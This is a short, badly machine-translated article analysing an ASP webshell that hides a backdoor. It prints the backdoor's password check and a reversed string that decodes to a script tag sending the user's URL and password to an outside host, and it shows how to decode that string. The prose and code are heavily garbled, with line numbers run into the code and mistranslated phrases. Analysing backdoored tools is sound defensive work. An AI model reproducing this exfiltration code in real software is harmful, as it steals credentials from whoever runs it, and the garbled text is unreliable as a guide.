Webshell backdoor analysis article 2

See this first article first: http://www.bkjia.com/Article/201306/219719.html

Another student sent a horse tonight. Now asp's horses are basically the same. The detection principle modified by the same horse is roughly the same. Everyone has this opportunity: I will not send it out. Technically, I will certainly encrypt the backdoor before sending it out. Today, there is no encryption. According to the last detection process, we found the last place and checked it. 1 if session ("KKK") <> UserPass then2 if request. form ("pass") <> "then3 if request. form ("pass") = UserPass then4 session ("KKK") = UserPass5 if instr (url, lcase ("lpt") <0 then6 response. redirect url7 else is estimated to receive emails in the old way. It is better to find that the webshell backdoor basically passes in the password field for determination. So as long as you track UserPass, you can basically find the recipient's URL: many times you need the string 1 acodee = "= u? /Moc.81sid. d //: ptth '= crs tpircs <": Efun = StrReverse (acodee ): efun = Efun & uu & "& p =" & userpass & "'> </script> StrReverse this is a string reverse string. Create an asp file and output it. Just 1 <% 2 acodee = "= u? /Moc.81sid. d //: ptth '= crs tpircs <": Efun = StrReverse (acodee): 3 Response. write (Efun ): 4%> u is the password passed in ...........................